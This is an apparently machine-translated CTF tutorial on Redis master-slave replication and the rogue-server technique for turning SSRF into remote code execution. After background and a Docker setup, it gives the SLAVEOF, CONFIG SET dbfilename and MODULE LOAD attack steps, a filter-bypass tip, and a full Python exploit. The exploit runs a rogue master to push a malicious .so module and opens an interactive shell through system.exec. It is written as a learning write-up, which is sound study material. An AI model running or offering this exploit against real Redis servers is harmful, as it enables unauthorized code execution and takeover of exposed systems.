redis master-slave replication
preface
At the beginning, I'm going to laugh to death I happened to be writing ssrfme of WANGDING cup and learned that redis master-slave replication is still tangled here. A box pops up in the lower right corner of the computer
(I don't know when to add the free course. I think it's pretty good. It's mainly about high-end, and the most important thing is that you can whore for nothing!)
To get back to the point, you must study hard
introduce
effect
- Data redundancy (hot backup)
- Fault recovery (if the master node fails, the slave node can continue to provide services)
- The master node provides read-write services and the slave node provides read-write services
(actually, I think it's a little like hadoop distributed cluster)
principle
Master - slave replication refers to copying data from one redis server to other redis servers The former is called the master node and the latter is called the slave node. Data replication is unidirectional and can only be from the master node to the slave node
This is also the core of redis from ssrf to rce:
Through master-slave replication, the data of the master redis and the data on the slave redis are synchronized in real time. When the master redis writes data, it will be copied to other slave redis through master-slave replication.
In the process of full replication, recover the rdb file. If we construct the rdb file as a malicious exp.so, the slave node will automatically generate it, so that RCE can be used
The process is divided into three stages: connection establishment stage \ data synchronization stage \ command propagation stage
After the node executes the slaveof command, the replication process starts, which is divided into six stages:
- Save master node information
- Master slave establish socker link
- Send ping command
- Permission verification
- Synchronous data set
- Command continuous replication
problem
Since it is an allogeneic machine, there may be various problems with data across hosts
-
If the data is delayed, it will lead to inconsistent reading and writing The idea of monitoring offset is adopted. If the offset is out of range, it is directly switched back to the primary node
-
In case of data loss caused by asynchronous replication, it is required that the master node has at least n slave nodes linked before writing
-
Slave node failure allows the master node to be configured higher than the slave node and still available
-
When the slave node is disconnected, the memory fragmentation rate of the master node is too high. redis provides a debug reload restart mode to restart without affecting the runid and offset of the master node, while avoiding full replication that consumes resources
-
When the master node is down and restarted, the tree can be used to hand over the overhead to the slave node in the middle layer, so as to reduce the consumption of the master node
start-up
Run container
Pull the latest version of redis image
docker pull redis:latest
View local mirror
docker images (redis latest indicates successful installation)
Run container
docker run -itd --name redis-test -p 10000:6379 redis
View running status
docker ps -a
Enter container
docker exec -it redis-test /bin/bash
Connect to redis
redis-cli
There is also a machine to be built here. Repeat the above operation and change the name and port
Master slave replication start
Here, we start the master-slave replication of the slave node through the client command. After the redis server is started, you can directly enter the command
slaveof <masterip> <masterport>
This machine becomes a slave node
info replication view parameter information
You can see that the setting is successful and the test data is synchronized
Load malicious files
Since redis4 After X, redis added a new module function. Redis module can use external modules to expand redis functions, realize new redis commands at a certain speed, and have functions similar to those that can be completed inside the core.
Redis module is a dynamic library, which can be loaded into redis at startup or by using MODULE LOAD command
Stick a malicious note so file preparation address
Film r3kapig's master here, tql
Utilization principle
As mentioned above, master-slave replication will enable full replication to synchronize the rdb files of the master node to the slave node, so we can use the redis module feature to upload malicious so files to the master node, and full replication will help us synchronize to the child nodes
Establish rogue server
use This item The purpose of rogue server under is to send our module load command to redis during synchronization
Set slave node
slaveof <mastetip> <masterport>
Set redis database file
CONFIG SET dbfilename exp.so
Note: if some ctf s filter the file string, it can be bypassed by secondary encoding. And exp.so here cannot contain paths
rogue server accepts the return
+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload>
Loading module
MODULE LOAD ./exp.so
exp
Stick the boss's exp
import socket import time CRLF="\r\n" payload=open("exp.so","rb").read() exp_filename="exp.so" def redis_format(arr): global CRLF global payload redis_arr=arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len(x))+CRLF+x cmd+=CRLF return cmd def redis_connect(rhost,rport): sock=socket.socket() sock.connect((rhost,rport)) return sock def send(sock,cmd): sock.send(redis_format(cmd)) print(sock.recv(1024).decode("utf-8")) def interact_shell(sock): flag=True try: while flag: shell=raw_input("\033[1;32;40m[*]\033[0m ") shell=shell.replace(" ","${IFS}") if shell=="exit" or shell=="quit": flag=False else: send(sock,"system.exec {}".format(shell)) except KeyboardInterrupt: return def RogueServer(lport): global CRLF global payload flag=True result="" sock=socket.socket() sock.bind(("0.0.0.0",lport)) sock.listen(10) clientSock, address = sock.accept() while flag: data = clientSock.recv(1024) if "PING" in data: result="+PONG"+CRLF clientSock.send(result) flag=True elif "REPLCONF" in data: result="+OK"+CRLF clientSock.send(result) flag=True elif "PSYNC" in data or "SYNC" in data: result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF result += "$" + str(len(payload)) + CRLF result = result.encode() result += payload result += CRLF clientSock.send(result) flag=False if __name__=="__main__": lhost="192.168.163.132" lport=6666 rhost="192.168.163.128" rport=6379 passwd="" redis_sock=redis_connect(rhost,rport) if passwd: send(redis_sock,"AUTH {}".format(passwd)) send(redis_sock,"SLAVEOF {} {}".format(lhost,lport)) send(redis_sock,"config set dbfilename {}".format(exp_filename)) time.sleep(2) RogueServer(lport) send(redis_sock,"MODULE LOAD ./{}".format(exp_filename)) interact_shell(redis_sock)
demonstration
Running redis service
redis-test: 172.17.0.2
redis-test2: 172.17.0.3
Enable master-slave replication
Run rogue server
python redis-rogue-server.py --rhost 172.17.0.3 --lhost 172.17.0.1
Because I started it directly by default, redis.com is not set The security restriction is turned off in conf, so it is not connected. In fact, as long as the security restriction is turned off and exposed in the Internet, you can get the shell